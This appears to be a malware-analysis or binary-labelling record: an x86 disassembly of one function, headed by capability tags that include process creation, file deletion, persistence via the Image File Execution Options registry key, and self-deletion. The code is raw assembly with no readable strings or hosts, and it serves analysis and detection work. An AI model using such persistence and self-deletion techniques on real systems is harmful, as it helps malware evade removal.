Function at 0x5a771c
Capabilities:
Create process on windows
Delete file
Persist via image file execution options registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x7f
push 0
push 0
dec ecx
jne 0x5a7724
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], eax
mov ebx, 0x5c3918
xor eax, eax
push ebp
push 0x5ab80b
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4d0]
call fcn.004bcbd4
mov eax, dword [ebp - 0x44]
mov edx, 0x5ab828
call fcn.00407ecc
je 0x5ab6dd
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4d0]
call fcn.004bcbd4
mov eax, dword [ebp - 0x48]
mov edx, 0x5ab840
call fcn.00407ecc
je 0x5ab6dd
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4d0]
call fcn.004bcbd4
mov eax, dword [ebp - 0x4c]
mov edx, 0x5ab858
call fcn.00407ecc
je 0x5ab6dd
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
xor edx, edx
call fcn.004bcc0c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c4]
xor edx, edx
call fcn.004bcaf4
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.00407848
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5ab870
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 2
call fcn.004ff124
mov eax, dword [ebp - 0x54]
lea edx, [ebp - 0x50]
call fcn.00414e6c
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 4]
call fcn.005951b4
lea eax, [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 3
call fcn.004ff124
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x58]
call fcn.00414e6c
mov eax, dword [ebp - 0x58]
lea edx, [ebp - 8]
call fcn.005951b4
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [0x5c3880]
mov edx, 0x5ab888
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x60]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x64]
push eax
mov ecx, dword [0x5c3880]
mov edx, 0x5ab888
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x68]
push eax
mov ecx, dword [0x5c38a4]
mov edx, 0x5ab8a8
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x68]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x5c38a4]
mov edx, 0x5ab8a8
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x6c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [0x5c38a8]
mov edx, 0x5ab8d4
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x70]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [0x5c38a8]
mov edx, 0x5ab8d4
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x74]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x78]
push eax
mov ecx, dword [0x5c38ac]
mov edx, 0x5ab8f0
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x78]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [0x5c38ac]
mov edx, 0x5ab8f0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [0x5c38b0]
mov edx, 0x5ab910
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x80]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x84]
push eax
mov ecx, dword [0x5c38b0]
mov edx, 0x5ab910
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x84]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x88]
push eax
mov ecx, dword [0x5c38b4]
mov edx, 0x5ab928
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x88]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x8c]
push eax
mov ecx, dword [0x5c38b4]
mov edx, 0x5ab928
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x8c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x90]
push eax
mov ecx, dword [0x5c38c0]
mov edx, 0x5ab940
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x90]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x94]
push eax
mov ecx, dword [0x5c38c0]
mov edx, 0x5ab940
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x94]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x98]
push eax
mov ecx, dword [0x5c38c0]
mov edx, 0x5ab954
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x98]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x9c]
push eax
mov ecx, dword [0x5c38c0]
mov edx, 0x5ab954
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x9c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xa0]
push eax
mov ecx, dword [0x5c38a4]
mov edx, 0x5ab968
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xa0]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [0x5c38a4]
mov edx, 0x5ab968
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xa4]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [0x5c387c]
mov edx, 0x5ab994
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xa8]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xac]
push eax
mov ecx, dword [0x5c387c]
mov edx, 0x5ab994
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xac]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xb0]
push eax
mov ecx, dword [0x5c387c]
mov edx, 0x5ab9b4
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xb0]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [0x5c387c]
mov edx, 0x5ab9b4
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xb4]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xb8]
push eax
mov ecx, dword [0x5c38d0]
mov edx, 0x5ab9d4
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xb8]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xbc]
push eax
mov ecx, dword [0x5c38d0]
mov edx, 0x5ab9d4
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xbc]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xc0]
push eax
mov ecx, dword [0x5c38d4]
mov edx, 0x5ab9ec
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xc0]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xc4]
push eax
mov ecx, dword [0x5c38d4]
mov edx, 0x5ab9ec
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xc4]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xc8]
push eax
mov ecx, dword [0x5c3908]
mov edx, 0x5aba08
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xc8]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xcc]
push eax
mov ecx, dword [0x5c3908]
mov edx, 0x5aba08
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xcc]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xd0]
push eax
mov ecx, dword [0x5c3908]
mov edx, 0x5aba30
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xd0]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xd4]
push eax
mov ecx, dword [0x5c3908]
mov edx, 0x5aba30
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xd4]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xd8]
push eax
mov ecx, dword [0x5c3910]
mov edx, 0x5aba58
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xd8]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xdc]
push eax
mov ecx, dword [0x5c3910]
mov edx, 0x5aba58
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xdc]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xe0]
push eax
mov ecx, dword [0x5c3910]
mov edx, 0x5aba84
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xe0]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xe4]
push eax
mov ecx, dword [0x5c3910]
mov edx, 0x5aba84
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xe4]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [0x5c390c]
mov edx, 0x5abab0
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xe8]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [0x5c390c]
mov edx, 0x5abab0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xec]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xf0]
push eax
mov ecx, dword [0x5c390c]
mov edx, 0x5abad8
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xf0]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xf4]
push eax
mov ecx, dword [0x5c390c]
mov edx, 0x5abad8
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xf4]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0xf8]
push eax
mov ecx, dword [0x5c3914]
mov edx, 0x5abb00
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0xf8]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0xfc]
push eax
mov ecx, dword [0x5c3914]
mov edx, 0x5abb00
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0xfc]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [0x5c3914]
mov edx, 0x5abb28
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x100]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [0x5c3914]
mov edx, 0x5abb28
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x104]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abb50
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abb50
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x10c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x110]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abb78
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x110]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abb78
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abba0
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x118]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abba0
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x11c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abbcc
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x120]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x124]
push eax
mov ecx, dword [ebx]
mov edx, 0x5abbcc
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x124]
lea eax, [ebp - 8]
call fcn.00407848
call fcn.00418728
fstp qword [ebp - 0x40]
wait
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
mov edx, dword [0x5bd694]
mov edx, dword [edx]
lea eax, [ebp - 0x18]
call fcn.004193e8
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0x18]
call fcn.00407848
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
mov edx, dword [0x5bd910]
mov edx, dword [edx]
lea eax, [ebp - 0x1c]
call fcn.004193e8
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.00407848
lea eax, [ebp - 0x128]
push eax
mov ecx, 0x5abbf8
mov edx, 0x5abc08
mov eax, dword [ebp - 0xc]
call fcn.0059a790
mov edx, dword [ebp - 0x128]
lea eax, [ebp - 0xc]
call fcn.00407848
lea eax, [ebp - 0x12c]
push eax
mov ecx, 0x5abbf8
mov edx, 0x5abc18
mov eax, dword [ebp - 0xc]
call fcn.0059a790
mov edx, dword [ebp - 0x12c]
lea eax, [ebp - 0xc]
call fcn.00407848
lea eax, [ebp - 0x130]
push eax
mov ecx, 0x5abbf8
mov edx, 0x5abc28
mov eax, dword [ebp - 0xc]
call fcn.0059a790
mov edx, dword [ebp - 0x130]
lea eax, [ebp - 0xc]
call fcn.00407848
lea eax, [ebp - 0x134]
push eax
mov ecx, 0x5abbf8
mov edx, 0x5abc08
mov eax, dword [ebp - 0x10]
call fcn.0059a790
mov edx, dword [ebp - 0x134]
lea eax, [ebp - 0x10]
call fcn.00407848
lea eax, [ebp - 0x138]
push eax
mov ecx, 0x5abbf8
mov edx, 0x5abc18
mov eax, dword [ebp - 0x10]
call fcn.0059a790
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 0x10]
call fcn.00407848
lea eax, [ebp - 0x13c]
push eax
mov ecx, 0x5abbf8
mov edx, 0x5abc28
mov eax, dword [ebp - 0x10]
call fcn.0059a790
mov edx, dword [ebp - 0x13c]
lea eax, [ebp - 0x10]
call fcn.00407848
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x5abc38
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x140]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x5abc38
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x144]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x5abc54
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x148]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x14c]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x5abc54
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x14c]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, 0x5abc70
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, 0x5abc70
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x154]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, 0x5abc8c
mov eax, dword [ebp - 4]
call fcn.0059a790
mov edx, dword [ebp - 0x158]
lea eax, [ebp - 4]
call fcn.00407848
lea eax, [ebp - 0x15c]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, 0x5abc8c
mov eax, dword [ebp - 8]
call fcn.0059a790
mov edx, dword [ebp - 0x15c]
lea eax, [ebp - 8]
call fcn.00407848
lea ecx, [ebp - 0x160]
mov edx, 0x5abca8
mov eax, dword [ebp - 8]
call fcn.00594ca0
mov eax, dword [ebp - 0x160]
lea edx, [ebp - 0x14]
call fcn.00414e6c
lea ecx, [ebp - 0x168]
mov edx, 0x5abca8
mov eax, dword [ebp - 8]
call fcn.00594d78
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.00414e6c
mov edx, dword [ebp - 0x164]
lea eax, [ebp - 8]
call fcn.00407848
lea eax, [ebp - 0x16c]
push eax
mov ecx, 0x5abcbc
mov edx, 0x5abcd0
mov eax, dword [ebp - 0x14]
call fcn.0059a790
mov edx, dword [ebp - 0x16c]
lea eax, [ebp - 0x14]
call fcn.00407848
lea eax, [ebp - 0x170]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 4
call fcn.004ff124
mov eax, dword [ebp - 0x170]
push eax
lea edx, [ebp - 0x174]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4c8]
call fcn.004bcbd4
mov edx, dword [ebp - 0x174]
pop eax
call fcn.00407ecc
je 0x5a834d
lea eax, [ebp - 0x178]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 4
call fcn.004ff124
mov eax, dword [ebp - 0x178]
mov edx, 0x5abce0
call fcn.00407ecc
jne 0x5ab6dd
lea eax, [ebp - 0x17c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 5
call fcn.004ff124
mov eax, dword [ebp - 0x17c]
push eax
lea edx, [ebp - 0x180]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4cc]
call fcn.004bcbd4
mov edx, dword [ebp - 0x180]
pop eax
call fcn.00407ecc
je 0x5a83c6
lea eax, [ebp - 0x184]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 5
call fcn.004ff124
mov eax, dword [ebp - 0x184]
mov edx, 0x5abce0
call fcn.00407ecc
jne 0x5ab6dd
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
cmp byte [eax + 0x59], 0
jne 0x5a83e6
mov edx, dword [0x5bd7d8]
mov dl, 1
call fcn.004bcaf4
lea eax, [ebp - 0x188]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x188]
mov edx, 0x5abcf4
call fcn.00407ecc
je 0x5a8462
lea eax, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x18c]
mov edx, 0x5abd20
call fcn.00407ecc
je 0x5a8462
cmp byte [0x5c391c], 0
jne 0x5a8462
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
cmp byte [0x5c391c], 0
je 0x5a844d
lea eax, [ebp - 0x190]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x190]
mov edx, 0x5abd44
call fcn.00407ecc
jne 0x5a8510
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5abd70
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
call fcn.0059a080
test al, al
je 0x5a84f5
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8510
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x194]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x194]
mov edx, 0x5abdc8
call fcn.00407ecc
jne 0x5a85c8
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5abdec
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00594b2c
test al, al
je 0x5a85ad
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a85c8
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x198]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x198]
mov edx, 0x5abe24
call fcn.00407ecc
jne 0x5a86de
xor eax, eax
push ebp
push 0x5a8692
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
cmp dword [ebp - 4], 0
je 0x5a864b
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ac]
mov edx, dword [ebp - 4]
call fcn.004bcc0c
cmp dword [ebp - 8], 0
je 0x5a8674
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ac]
mov dl, 1
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, 0x5c38c4
mov edx, dword [ebp - 8]
call fcn.004077f4
jmp 0x5a8688
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3ac]
xor edx, edx
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a86b7
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x19c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x19c]
mov edx, 0x5abe38
call fcn.00407ecc
jne 0x5a8754
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.005a7688
test al, al
je 0x5a8739
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8754
push 0x5abe58
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1a0]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1a0]
mov edx, 0x5abe70
call fcn.00407ecc
jne 0x5a881d
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5abe98
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 4]
call fcn.005a6d0c
test al, al
je 0x5a87ee
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8809
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
xor edx, edx
call fcn.004bcc0c
lea eax, [ebp - 0x1a4]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1a4]
mov edx, 0x5abed4
call fcn.00407ecc
jne 0x5a88e9
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5abef8
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.005a71cc
test al, al
je 0x5a88ba
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a88d5
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
xor edx, edx
call fcn.004bcc0c
lea eax, [ebp - 0x1a8]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1a8]
mov edx, 0x5abf34
call fcn.00407ecc
jne 0x5a8971
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5abf5c
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1ac]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1ac]
mov edx, 0x5abf88
call fcn.00407ecc
jne 0x5a8afc
mov eax, 0x5c38d0
xor edx, edx
call fcn.004077f4
